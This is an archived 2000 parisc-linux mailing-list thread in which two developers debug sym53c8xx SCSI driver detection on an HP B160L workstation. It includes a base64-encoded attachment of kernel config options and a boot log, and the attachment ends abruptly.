> Fixed.  This relates to NVRAM that some PCI scsi cards have to hold
> config settings over reboot.  CONFIG_SCSI_NCR53C8XX_NVRAM_DETECT
> is normally defined in sym53c8xx_defs.h to turn that code on.  When
> I implemented Zalon (FWD) support I guessed that the 53c720 h/w
> wouldn't have NVRAM implemented the same way, and turned off
> NVRAM detect.
> 
> I've also replaced a chunk of Zalon specific code that got lost in
> the merge, so Zalon/FWD/53c720 support works again.
> 
> There is a problem remaining when using the driver as a module;
> it looks like something is trying to printk() from a string in
> the module after the module has been removed.  Havn't tracked
> that down yet.
> 
> Richard


Hi Richard,

I'm sorry to say that the sym53c8xx still doesn't work on my B160L (32 
bit-Kernel). It looks like the controller isn't detected at all, while it 
worked perfectly with 2.4.0-test6.
Would you mind to take a look at the code again ?

Thanks,
	Helge.


From - Thu Nov 08 21:14:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: sym53c8xx-driver   (was: Re: [parisc-linux] kernel merge)
Date: Mon, 13 Nov 2000 23:27:52 +0000
Lines: 49
Approved: news@gmane.org
Message-ID: <20001113232752.V32715@linuxcare.com>
References: <E13twjn-0004fw-00@noam.fc.hp.com> <m13uLiv-001Vp3C@chalet> <20001113121349.Q32715@linuxcare.com> <00111323542900.00319@P100>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619275 6091 80.91.229.3 (22 Nov 2014 01:21:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:15 +0000 (UTC)
Cc: bame@riverrock.org, parisc-linux@puffin.external.hp.com
To: Helge Deller <deller@gmx.de>
Original-X-From: rhirst@linuxcare.com  Mon Nov 13 16:28:11 2000
Original-Received: from rhirst.linuxcare.com (sleepie.demon.co.uk [194.222.23.208])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id QAA10174
	for <parisc-linux@puffin.external.hp.com>; Mon, 13 Nov 2000 16:28:09 -0700
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 3BB62B007; Mon, 13 Nov 2000 23:27:52 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <00111323542900.00319@P100>; from deller@gmx.de on Mon, Nov 13, 2000 at 11:54:29PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:8401

Hi Helge,
  The problem I fixed related to the ncr53c8xx driver (which shares
code with sym53c8xx), and was to make 53c720 support work again.
sym53c8xx worked for me on my A180.  Please can you try booting
with

	sym53c8xx=verb:7,debug:0xffff

and send me the output?

Thanks,
 Richard


On Mon, Nov 13, 2000 at 11:54:29PM +0100, Helge Deller wrote:
> On Monday 13 November 2000 13:13, Richard Hirst wrote:
> > On Fri, Nov 10, 2000 at 02:28:33PM -0700, bame@riverrock.org wrote:
> > > drivers/scsi sym53c8xx_comm.h #ifdef doesn't work on parisc -- eliminates
> > >                 unmap_pci_mem() causing link error (TODO - rhirst)
> > 
> > Fixed.  This relates to NVRAM that some PCI scsi cards have to hold
> > config settings over reboot.  CONFIG_SCSI_NCR53C8XX_NVRAM_DETECT
> > is normally defined in sym53c8xx_defs.h to turn that code on.  When
> > I implemented Zalon (FWD) support I guessed that the 53c720 h/w
> > wouldn't have NVRAM implemented the same way, and turned off
> > NVRAM detect.
> > 
> > I've also replaced a chunk of Zalon specific code that got lost in
> > the merge, so Zalon/FWD/53c720 support works again.
> > 
> > There is a problem remaining when using the driver as a module;
> > it looks like something is trying to printk() from a string in
> > the module after the module has been removed.  Havn't tracked
> > that down yet.
> > 
> > Richard
> 
> 
> Hi Richard,
> 
> I'm sorry to say that the sym53c8xx still doesn't work on my B160L (32 
> bit-Kernel). It looks like the controller isn't detected at all, while it 
> worked perfectly with 2.4.0-test6.
> Would you mind to take a look at the code again ?
> 
> Thanks,
> 	Helge.
> 


From - Thu Nov 08 21:14:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: sym53c8xx-driver (was: Re: [parisc-linux] kernel merge)
Date: Tue, 14 Nov 2000 01:13:58 +0100
Lines: 203
Approved: news@gmane.org
Message-ID: <00111401135802.00319@P100>
References: <E13twjn-0004fw-00@noam.fc.hp.com> <00111323542900.00319@P100> <20001113232752.V32715@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  charset="us-ascii";
  boundary="------------Boundary-00=_ABNZX5KGKOOFAA0B1BIM"
X-Trace: ger.gmane.org 1416619275 6094 80.91.229.3 (22 Nov 2014 01:21:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:15 +0000 (UTC)
Cc: bame@riverrock.org, parisc-linux@puffin.external.hp.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: deller@gmx.de  Mon Nov 13 17:13:23 2000
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA10716
	for <parisc-linux@puffin.external.hp.com>; Mon, 13 Nov 2000 17:13:23 -0700
Original-Received: (qmail 7713 invoked by uid 0); 14 Nov 2000 00:14:59 -0000
Original-Received: from pd904031b.dip.t-dialin.net (HELO P100) (217.4.3.27)
  by mail.gmx.net (mail04) with SMTP; 14 Nov 2000 00:14:59 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <20001113232752.V32715@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8402


--------------Boundary-00=_ABNZX5KGKOOFAA0B1BIM
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 8bit
Subject: 

On Tuesday 14 November 2000 00:27, Richard Hirst wrote:
> Hi Helge,
>   The problem I fixed related to the ncr53c8xx driver (which shares
> code with sym53c8xx), and was to make 53c720 support work again.
> sym53c8xx worked for me on my A180.  Please can you try booting
> with
> 
> 	sym53c8xx=verb:7,debug:0xffff
> 
> and send me the output?
> 
> Thanks,
>  Richard


Hi Richard,

the output and the relevant part of .config is attached.

Greetings,

	Helge

--------------Boundary-00=_ABNZX5KGKOOFAA0B1BIM
Content-Type: text/plain;
  name="log1"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="log1"

Ci5jb25maWc6IAotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMKIyBT
Q1NJIHN1cHBvcnQKIwpDT05GSUdfU0NTST15CkNPTkZJR19CTEtfREVWX1NEPXkKQ09ORklHX1NE
X0VYVFJBX0RFVlM9NDAKIyBDT05GSUdfQ0hSX0RFVl9TVCBpcyBub3Qgc2V0CkNPTkZJR19CTEtf
REVWX1NSPXkKQ09ORklHX0JMS19ERVZfU1JfVkVORE9SPXkKQ09ORklHX1NSX0VYVFJBX0RFVlM9
MgpDT05GSUdfQ0hSX0RFVl9TRz15CkNPTkZJR19TQ1NJX01VTFRJX0xVTj15CkNPTkZJR19TQ1NJ
X0NPTlNUQU5UUz15CgojCiMgU0NTSSBsb3ctbGV2ZWwgZHJpdmVycwojCkNPTkZJR19TQ1NJX0xB
U0k9eQpDT05GSUdfU0NTSV9aQUxPTj15CkNPTkZJR19TQ1NJX1NZTTUzQzhYWD15CkNPTkZJR19T
Q1NJX05DUjUzQzhYWF9ERUZBVUxUX1RBR1M9OApDT05GSUdfU0NTSV9OQ1I1M0M4WFhfTUFYX1RB
R1M9MzIKQ09ORklHX1NDU0lfTkNSNTNDOFhYX1NZTkM9MjAKIyBDT05GSUdfU0NTSV9OQ1I1M0M4
WFhfUFJPRklMRSBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfTkNSNTNDOFhYX0lPTUFQUEVEIGlz
IG5vdCBzZXQKCgotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0KCmJvb3QtbG9nOgotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tCgpGaXJtd2FyZSBWZXJzaW9uICA2LjEKCkR1cGxleCBDb25zb2xlIElPIERlcGVuZGVu
dCBDb2RlIChJT0RDKSByZXZpc2lvbiAxCgpNZW1vcnkgVGVzdC9Jbml0aWFsaXphdGlvbiBDb21w
bGV0ZWQgCgotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICAgKGMpIENvcHlyaWdodCAxOTk1LTE5OTgs
IEhld2xldHQtUGFja2FyZCBDb21wYW55LCBBbGwgcmlnaHRzIHJlc2VydmVkCi0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLQoKICBQcm9jZXNzb3IgICBTcGVlZCAgICAgICAgICAgIFN0YXRlICAgICAgICAg
ICBDb3Byb2Nlc3NvciBTdGF0ZSAgQ2FjaGUgU2l6ZQogIC0tLS0tLS0tLSAgLS0tLS0tLS0gICAt
LS0tLS0tLS0tLS0tLS0tLS0tLS0gIC0tLS0tLS0tLS0tLS0tLS0tICAtLS0tLS0tLS0tCiAgICAg
IDAgICAgICAxNjAgTUh6ICAgIEFjdGl2ZSAgICAgICAgICAgICAgICAgRnVuY3Rpb25hbCAgICAg
ICAgICA2NCBLQgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIDEgTUIgZXh0CgoKICBBdmFpbGFibGUgbWVtb3J5IChieXRl
cykgICAgOiAgNTM2ODcwOTEyIAogIEdvb2QgbWVtb3J5IHJlcXVpcmVkIChieXRlcyk6ICA1MzY4
NzA5MTIgCgogIFByaW1hcnkgYm9vdCBwYXRoOiAgICBGV1NDU0kuNi4wCiAgQWx0ZXJuYXRlIGJv
b3QgcGF0aDogIExBTi4wLjAuMC4wLjAuMAogIENvbnNvbGUgcGF0aDogICAgICAgICBHUkFQSElD
UygyKQogIEtleWJvYXJkIHBhdGg6ICAgICAgICBQUzIKCkNQVSAwCldBUk5JTkc6ICBTZWxmIHRl
c3RzIGhhdmUgYmVlbiBkaXNhYmxlZCBhcyBhIHJlc3VsdCBvZiBGQVNUQk9PVAogICAgICAgICAg
YmVpbmcgZW5hYmxlZC4gIFRvIGVuYWJsZSBzZWxmIHRlc3RzLCB1c2UgdGhlIEZBU1RCT09UCiAg
ICAgICAgICBjb21tYW5kIGluIHRoZSBDT05GSUdVUkFUSU9OIG1lbnUgYW5kIHJlYm9vdCB0aGUg
c3lzdGVtLgoKCi0tLS0tLS0gTWFpbiBNZW51IC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiAgICAgICAgQ29tbWFuZCAgICAgICAg
ICAgICAgICAgICAgICAgICBEZXNjcmlwdGlvbgogICAgICAgIC0tLS0tLS0gICAgICAgICAgICAg
ICAgICAgICAgICAgLS0tLS0tLS0tLS0KICAgICAgICBCT290IFtQUkl8QUxUfDxwYXRoPl0gICAg
ICAgICAgIEJvb3QgZnJvbSBzcGVjaWZpZWQgcGF0aAogICAgICAgIFBBdGggW1BSSXxBTFR8Q09O
fEtFWV0gWzxwYXRoPl0gRGlzcGxheSBvciBtb2RpZnkgYSBwYXRoCiAgICAgICAgU0VBcmNoIFtE
SXNwbGF5fElQTF0gWzxwYXRoPl0gICBTZWFyY2ggZm9yIGJvb3QgZGV2aWNlcwoKICAgICAgICBD
T25maWd1cmF0aW9uIFs8Y29tbWFuZD5dICAgICAgIEFjY2VzcyBDb25maWd1cmF0aW9uIG1lbnUv
Y29tbWFuZHMKICAgICAgICBJTmZvcm1hdGlvbiBbPGNvbW1hbmQ+XSAgICAgICAgIEFjY2VzcyBJ
bmZvcm1hdGlvbiBtZW51L2NvbW1hbmRzCiAgICAgICAgU0VSdmljZSBbPGNvbW1hbmQ+XSAgICAg
ICAgICAgICBBY2Nlc3MgU2VydmljZSBtZW51L2NvbW1hbmRzCgogICAgICAgIERJc3BsYXkgICAg
ICAgICAgICAgICAgICAgICAgICAgUmVkaXNwbGF5IHRoZSBjdXJyZW50IG1lbnUKICAgICAgICBI
RWxwIFs8bWVudT58PGNvbW1hbmQ+XSAgICAgICAgIERpc3BsYXkgaGVscCBmb3IgbWVudSBvciBj
b21tYW5kCiAgICAgICAgUkVTRVQgICAgICAgICAgICAgICAgICAgICAgICAgICBSZXN0YXJ0IHRo
ZSBzeXN0ZW0KLS0tLS0tLQpNYWluIE1lbnU6IEVudGVyIGNvbW1hbmQgPiBibyBsYW4KSW50ZXJh
Y3Qgd2l0aCBJUEwgKFksIE4sIFEpPz4gbgoKQm9vdGluZy4uLiAKTmV0d29yayBTdGF0aW9uIEFk
ZHJlc3MgMDgwMDA5LWVmMzRmNQpTeXN0ZW0gSVAgQWRkcmVzcyAxOTIuMTY4LjEwMC4xNjAKU2Vy
dmVyIElQIEFkZHJlc3MgMTkyLjE2OC4xMDAuMTAwCgpCb290IElPIERlcGVuZGVudCBDb2RlIChJ
T0RDKSByZXZpc2lvbiAyCgoKSEFSRCBCb290ZWQuCnBhbG8gaXBsIHJvb3RAUDEwMCBUaHUgTm92
ICAyIDIwOjE0OjA4IE1FVCAyMDAwCjAvdm1saW51eCAyMjc0NzcxIGJ5dGVzIEAgMHg2ODAwCjAv
cGFsby1jbWRsaW5lICcwL3ZtbGludXggSE9NRT0vIFRFUk09TElOVVggcm9vdD0vZGV2L25mcyBu
ZnNyb290PTE5Mi4xNjguMTAwLjEwMDovdGZ0cGJvb3QvbmZzcm9vdCBjb25zb2xlPXR0eSBzeW01
M2M4eHg9dmVyYjo3LGRlYnVnOjB4ZmZmZicKS2VybmVsOiBwYXJ0aXRpb24gMCBmaWxlIC92bWxp
bnV4CkVMRjMyIGV4ZWN1dGFibGUKCkVudHJ5IDAwMTAwMTkwIGZpcnN0IDAwMTAwMDAwIG4gNApT
ZWdtZW50IDAgbG9hZCAwMDEwMDAwMCBzaXplIDE1MzQ2NjggbWVkaWFwdHIgMHgxMDAwClNlZ21l
bnQgMSBsb2FkIDAwMjc4MDAwIHNpemUgMTgyMzQ0IG1lZGlhcHRyIDB4MTc4MDAwClNlZ21lbnQg
MiBsb2FkIDAwMmE4MDAwIHNpemUgMTM5MTMyIG1lZGlhcHRyIDB4MWE1MDAwClNlZ21lbnQgMyBs
b2FkIDAwMmNjMDAwIHNpemUgODE5MiBtZWRpYXB0ciAweDFjNzAwMApicmFuY2hpbmcgdG8ga2Vy
bmVsIGVudHJ5IHBvaW50IDB4MDAxMDAxOTAKU2V0IGRlZmF1bHQgUFNXIFcgYml0IHRvIDAKUERD
IENvbnNvbGUgSW5pdGlhbGl6ZWQKVGhlIDMyLWJpdCBLZXJuZWwgaGFzIHN0YXJ0ZWQuLi4KRW5h
YmxlZCBGUCBjb3Byb2Nlc3NvcgpGcmVlIG1lbW9yeSBzdGFydHMgYXQ6IDB4YzAyZmQwMDAKc3Rh
cnRfcGFyaXNjKDB4NTA0ZDZjLDB4NTA0ZDZjLDB4MCwweDApClBBTE8gY29tbWFuZCBsaW5lOiAn
SE9NRT0vIFRFUk09TElOVVggcm9vdD0vZGV2L25mcyBuZnNyb290PTE5Mi4xNjguMTAwLjEwMDov
dGZ0cGJvb3QvbmZzcm9vdCBjb25zb2xlPXR0eSBzeW01M2M4eHg9dmVyYjo3LGRlYnVnOjB4ZmZm
ZicKUEFMTyBpbml0cmQgMC0wCm1vZGVsICAgMDAwMDUwMjAgMDAwMDA0ODEgMDAwMDAwMDAgMDIw
MjAyMDIgNzc5NGQ3ZmUgMTAwMDAwZjAgMDAwMDAwMDQgMDAwMDAwYmEgMDAwMDAwYmEKdmVycyAg
ICAwMDAwMDAwOApjcHVpZCAgIDAwMDAwMWU4CkNQVUlEIHZlcnMgMTUgcmV2IDgKU2VhcmNoaW5n
IGZvciBkZXZpY2VzIGluIFBEQyBmaXJtd2FyZS4uLiBwcm9jZXNzb3IgaHBhIDB4ZmZmYmUwMDAK
YSBuZXdlciBib3guLi4KRm91bmQgZGV2aWNlczoKMS4gUGhhbnRvbSBQc2V1ZG9CQyBHU0MrIFBv
cnQgKDcpIGF0IDB4ZmZjMDAwMDAsIHZlcnNpb25zIDB4NTA0LCAweDAsIDB4MCwgMHgwLCAweDAK
Mi4gTWVybGluIDE2MCBDb3JlIEZXLVNDU0kgKDQpIGF0IDB4ZmZmOGMwMDAsIHZlcnNpb25zIDB4
M2QsIDB4MCwgMHg4OSwgMHgwLCAweDgwCjMuIE1lcmxpbiBMMiAxNjAgKDkwMDAvNzc4L0IxNjBM
KSAoMCkgYXQgMHhmZmZiZTAwMCwgdmVyc2lvbnMgMHg1MDIsIDB4MCwgMHg0LCAweDAsIDB4ODEK
NC4gTWVybGluIDE2MC9UaHVuZGVySGF3ayBNZW1vcnkgKDEpIGF0IDB4ZmZmYmYwMDAsIHZlcnNp
b25zIDB4NjcsIDB4MCwgMHg5LCAweDAsIDB4MAo1LiBNZXJsaW4gMTYwIENvcmUgQkEgKDExKSBh
dCAweGZmZDAwMDAwLCB2ZXJzaW9ucyAweDNkLCAweDAsIDB4ODEsIDB4MCwgMHgwCjYuIE1lcmxp
biAxNjAgQ29yZSBSUy0yMzIgKDEwKSBhdCAweGZmZDA1MDAwLCB2ZXJzaW9ucyAweDNkLCAweDAs
IDB4OGMsIDB4MCwgMHgwCjcuIE1lcmxpbiAxNjAgQ29yZSBTQ1NJICgxMCkgYXQgMHhmZmQwNjAw
MCwgdmVyc2lvbnMgMHgzZCwgMHgwLCAweDgyLCAweDAsIDB4MAo4LiBNZXJsaW4gMTYwIENvcmUg
TGFuICg4MDIuMykgKDEwKSBhdCAweGZmZDA3MDAwLCB2ZXJzaW9ucyAweDNkLCAweDAsIDB4OGEs
IDB4MCwgMHgwCjkuIE1lcmxpbiAxNjAgQ29yZSBDZW50cm9uaWNzICgxMCkgYXQgMHhmZmQwMjAw
MCwgdmVyc2lvbnMgMHgzZCwgMHgwLCAweDc0LCAweDAsIDB4MAoxMC4gTWVybGluIDE2MCBDb3Jl
IEF1ZGlvICgxMCkgYXQgMHhmZmQwNDAwMCwgdmVyc2lvbnMgMHgzZCwgMHg0LCAweDdiLCAweDAs
IDB4MAoxMS4gTWVybGluIDE2MCBDb3JlIFBDIEtleWJvYXJkICgxMCkgYXQgMHhmZmQwODAwMCwg
dmVyc2lvbnMgMHgzZCwgMHgwLCAweDg0LCAweDAsIDB4MAoxMi4gTWVybGluIDE2MCBDb3JlIFBD
IEtleWJvYXJkICgxMCkgYXQgMHhmZmQwODEwMCwgdmVyc2lvbnMgMHgzZCwgMHgwLCAweDg0LCAw
eDAsIDB4MAoxMy4gTWVybGluIDE2MCBXYXggQkEgKDExKSBhdCAweGZmZTAwMDAwLCB2ZXJzaW9u
cyAweDQxLCAweDAsIDB4OGUsIDB4MCwgMHgwCjE0LiBNZXJsaW4gMTYwIFdheCBFSVNBIEJBICgx
MSkgYXQgMHhmYzAwMDAwMCwgdmVyc2lvbnMgMHg0MSwgMHgwLCAweDkwLCAweDAsIDB4MAoxNS4g
TWVybGluIDE2MCBXYXggSElMICgxMCkgYXQgMHhmZmUwMTAwMCwgdmVyc2lvbnMgMHg0MSwgMHgw
LCAweDczLCAweDAsIDB4MAoxNi4gTWVybGluIDE2MCBXYXggUlMtMjMyICgxMCkgYXQgMHhmZmUw
MjAwMCwgdmVyc2lvbnMgMHg0MSwgMHgwLCAweDhjLCAweDAsIDB4MAoxNy4gQ29yYWwgU0dDIEdy
YXBoaWNzICgxMCkgYXQgMHhmNDAwMDAwMCwgdmVyc2lvbnMgMHg0LCAweDAsIDB4NzcsIDB4MCwg
MHgwCjE4LiBHZWNrbyBHU0MgQ29yZSBHcmFwaGljcyAoMTApIGF0IDB4ZjgwMDAwMDAsIHZlcnNp
b25zIDB4MTYsIDB4MCwgMHg4NSwgMHgwLCAweDAKMTkuIERpbm8gUENJIEJyaWRnZSAoMTMpIGF0
IDB4ZmZmODAwMDAsIHZlcnNpb25zIDB4NjgwLCAweDAsIDB4YSwgMHgwLCAweDAKVGhhdCdzIGEg
dG90YWwgb2YgMTkgZGV2aWNlcy4KQ1BVKHMpOiAxIHggUEE3MzAwTEMgKFBDWC1MMikgYXQgMTYw
LjAwMDAwMCBNSHoKTGludXggdmVyc2lvbiAyLjQuMC10ZXN0MTAgKHJvb3RAUDEwMCkgKGdjYyB2
ZXJzaW9uIDIuOTYgMjAwMDA5MjUgKGV4cGVyaW1lbnRhbCkpICMxNSBUdWUgTm92IDE0IDAxOjAx
OjMzIE1FVCAyMDAwCmZyZWVfYm9vdG1lbSgweDMwMTAwMCwgMHgxZmNmZjAwMCkKaW5pdHJkOiAw
MDAwMDAwMC0wMDAwMDAwMApwYWdldGFibGVfaW5pdApPbiBub2RlIDAgdG90YWxwYWdlczogMTMx
MDcyCnpvbmUoMCk6IDY1NTM2IHBhZ2VzLgp6b25lKDEpOiA2NTUzNiBwYWdlcy4Kem9uZSgyKTog
MCBwYWdlcy4KS2VybmVsIGNvbW1hbmQgbGluZTogSE9NRT0vIFRFUk09TElOVVggcm9vdD0vZGV2
L25mcyBuZnNyb290PTE5Mi4xNjguMTAwLjEwMDovdGZ0cGJvb3QvbmZzcm9vdCBjb25zb2xlPXR0
eSBzeW01M2M4eHg9dmVyYjo3LGRlYnVnOjB4ZmZmZgp0cmFwX2luaXQKQ29uc29sZTogY29sb3Vy
IGR1bW15IGRldmljZSA4MHgyNQpyZWdpc3Rlcl9jb25zb2xlCkNhbGlicmF0aW5nIGRlbGF5IGxv
b3AuLi4gMTA2LjUwIEJvZ29NSVBTCk1lbW9yeTogNTEwOTQ0ayBhdmFpbGFibGUKRGVudHJ5LWNh
Y2hlIGhhc2ggdGFibGUgZW50cmllczogNjU1MzYgKG9yZGVyOiA3LCA1MjQyODggYnl0ZXMpCkJ1
ZmZlci1jYWNoZSBoYXNoIHRhYmxlIGVudHJpZXM6IDMyNzY4IChvcmRlcjogNSwgMTMxMDcyIGJ5
dGVzKQpQYWdlLWNhY2hlIGhhc2ggdGFibGUgZW50cmllczogMTMxMDcyIChvcmRlcjogNywgNTI0
Mjg4IGJ5dGVzKQpJbm9kZS1jYWNoZSBoYXNoIHRhYmxlIGVudHJpZXM6IDMyNzY4IChvcmRlcjog
NiwgMjYyMTQ0IGJ5dGVzKQpQT1NJWCBjb25mb3JtYW5jZSB0ZXN0aW5nIGJ5IFVOSUZJWApMYXNp
IHZlcnNpb24gMCBhdCAweGZmZDAwMDAwIGZvdW5kLgpXYXggYXQgMHhmZmUwMDAwMCBmb3VuZC4K
V2F4OiBISUwgS2V5Ym9hcmQtTk1JIHJlZ2lzdGVyZWQuCnBhcnBvcnQwOiBQQy1zdHlsZSBhdCAw
eGZmZDAyODAwLCBpcnEgODggW1BDU1BQLFRSSVNUQVRFXQpGb3VuZCBpODI1OTYgYXQgMHhmZmQw
NzAwMCwgSVJRIDg3CmVhcmx5IGluaXRpYWxpemF0aW9uIG9mIGRldmljZSBldGgwIGlzIGRlZmVy
cmVkCkluaXRpYWxpemluZyBMYXNpIFBTLzIta2V5Ym9hcmQgcG9ydCBhdCAweGZmZDA4MDAwLi4u
ClN1cHBvcnQgZm9yIExhc2kgUFMvMi1wc2F1eCBub3QgeWV0IGF2YWlsYWJsZSAhCkZvdW5kIEhJ
TCBhdCAweGZmZTAxMDAwLCBJUlEgMTI2Ck5vIGhhbmRsZXIgZm9yIGludGVycnVwdCAzNSAhCkhJ
TDogdGltZWQgb3V0LCBhc3N1bWluZyBubyBrZXlib2FyZCBwcmVzZW50LgpXYXJuaW5nIDogZGV2
aWNlICgxMCwgMHg0MSwgMHgwLCAweDczLCAweDApIE5PVCBjbGFpbWVkIGJ5IEhJTCA3MTIsIDcx
NSBvciBzaW1pbGlhcgpEaW5vIHZlcnNpb24gMi4wIChicmlkZ2UgbW9kZSkgZm91bmQgYXQgMHhm
ZmY4MDAwMAoKClRoZSBHU0N0b1BDSSAoRGlubyBocmV2IDApIGJ1cyBjb252ZXJ0ZXIgZm91bmQg
bWF5IGV4aGliaXQKZGF0YSBjb3JydXB0aW9uLiAgU2VlIFNlcnZpY2UgTm90ZSBOdW1iZXJzOiBB
NDE5MEEtMDEsIEE0MTkxQS0wMS4KU3lzdGVtcyBzaGlwcGVkIGFmdGVyIEF1ZyAyMCwgMTk5NyB3
aWxsIG5vdCBleGhpYml0IHRoaXMgcHJvYmxlbS4KTW9kZWxzIGFmZmVjdGVkOiBDMTgwLCBDMTYw
LCBDMTYwTCwgQjE2MEwsIGFuZCBCMTMyTCB3b3Jrc3RhdGlvbnMuCgpkaW5vX2JyaWRnZV9pbml0
OiBJT19BRERSX0VOIGhhc24ndCBiZWVuIGNvbmZpZ3VyZWQuCmtlcm5lbCBCVUcgYXQgZGluby5j
OjY0NiEKTGludXggTkVUNC4wIGZvciBMaW51eCAyLjQKQmFzZWQgdXBvbiBTd2Fuc2VhIFVuaXZl
cnNpdHkgQ29tcHV0ZXIgU29jaWV0eSBORVQzLjAzOQpTdGFydGluZyBrc3dhcGQgdjEuOApzdGlm
Yi5jOiBzZWFyY2hpbmcgZm9yIHdvcmQgbW9kZSBTVEkgUk9Ncwpmb3VuZCBwb3RlbnRpYWwgU1RJ
IFJPTSBhdCBmNDAwMDAwMApTVEkgYnl0ZSBtb2RlIFJPTSBhdCBmNDAwMDAwMCwgaWdub3JlZApm
b3VuZCBwb3RlbnRpYWwgU1RJIFJPTSBhdCBmODAwMDAwMApwdHk6IDI1NiBVbml4OTggcHR5cyBj
b25maWd1cmVkCmxwMDogdXNpbmcgcGFycG9ydDAgKGludGVycnVwdC1kcml2ZW4pLgpSQU1ESVNL
IGRyaXZlciBpbml0aWFsaXplZDogMTYgUkFNIGRpc2tzIG9mIDQwOTZLIHNpemUgMTAyNCBibG9j
a3NpemUKZXRoMDogODI1OTYgYXQgMHhmZmQwNzAwMCwgMDggMDAgMDkgRUYgMzQgRjUgSVJRIDg3
Lgo4MjU5Ni5jICRSZXZpc2lvbjogMS4xNCAkClNlcmlhbCBkcml2ZXIgdmVyc2lvbiA1LjAyICgy
MDAwLTA4LTA5KSB3aXRoIE1BTllfUE9SVFMgU0hBUkVfSVJRIFNFUklBTF9QQ0kgZW5hYmxlZAp0
dHlTMDAgYXQgaW9tZW0gMHhmZmQwNTgwMCAoaXJxID0gOTApIGlzIGEgMTY1NTBBCnR0eVMwMSBh
dCBpb21lbSAweGZmZTAyODAwIChpcnEgPSAxMjEpIGlzIGEgMTY1NTBBCkdlbmVyaWMgUlRDIERy
aXZlciB2MS4wMiAwNS8yNy8xOTk5IFNhbSBDcmVhc2V5IChzYW1teUBvaC52ZXJpby5jb20pClND
U0kgc3Vic3lzdGVtIGRyaXZlciBSZXZpc2lvbjogMS4wMApzaW03MDA6IENvbmZpZ3VyaW5nIDUz
YzcxMCAoU0NTSS1JRCA3KSBhdCBmZmQwNjEwMCwgSVJRIDg2CnNjc2kwOiBSZXZpc2lvbiAweDIK
UG9zdCB0ZXN0MSwgaXN0YXQgMDEsIHNzdGF0MCAwMCwgZHN0YXQgODQKc2ltNzAwOiBXQVJOSU5H
IElSUSBwcm9iZSBmYWlsZWQsIChyZXR1cm5lZCAwKQpzY3NpMDogR29vZCwgdGFyZ2V0IGRhdGEg
YXJlYXMgYXJlIGRtYSBjb2hlcmVudApzY3NpMDogdGVzdCAxIGNvbXBsZXRlZCBvay4Kc2NzaTA6
IHNpbTcwMF9pbnRyX2hhbmRsZSgpIGNhbGxlZCB3aXRoIG5vIGludGVycnVwdApzY3NpMCA6IExB
U0kvU2ltcGxlIDUzYzd4eAogIFZlbmRvcjogUElPTkVFUiAgIE1vZGVsOiBDRC1ST00gRFItVTEy
WCAgICBSZXY6IDEuMDYKICBUeXBlOiAgIENELVJPTSAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgQU5TSSBTQ1NJIHJldmlzaW9uOiAwMgpEZXRlY3RlZCBzY3NpIENELVJPTSBzcjAgYXQgc2Nz
aTAsIGNoYW5uZWwgMCwgaWQgMCwgbHVuIDAKc3IwOiBzY3NpMy1tbWMgZHJpdmU6IDEyeC8xMngg
eGEvZm9ybTIgY2RkYSB0cmF5ClVuaWZvcm0gQ0QtUk9NIGRyaXZlciBSZXZpc2lvbjogMy4xMQpz
ZWFyY2hpbmcgZm9yIHdvcmQgbW9kZSBTVEkgUk9Ncwpmb3VuZCBwb3RlbnRpYWwgU1RJIFJPTSBh
dCBmNDAwMDAwMApTVEkgYnl0ZSBtb2RlIFJPTSBhdCBmNDAwMDAwMCwgaWdub3JlZApmb3VuZCBw
b3RlbnRpYWwgU1RJIFJPTSBhdCBmODAwMDAwMApzZWFyY2hpbmcgZm9yIGJ5dGUgbW9kZSBTVEkg
Uk9Ncwpmb3VuZCBwb3RlbnRpYWwgU1RJIFJPTSBhdCBmNDAwMDAwMApTVEkgYnl0ZSBtb2RlIFJP
TSB0eXBlIDEKIHN1cHBvcnRzIDE1IG1vbml0b3JzCiBjb25mb3JtcyB0byBTVEkgUk9NIHNwZWMg
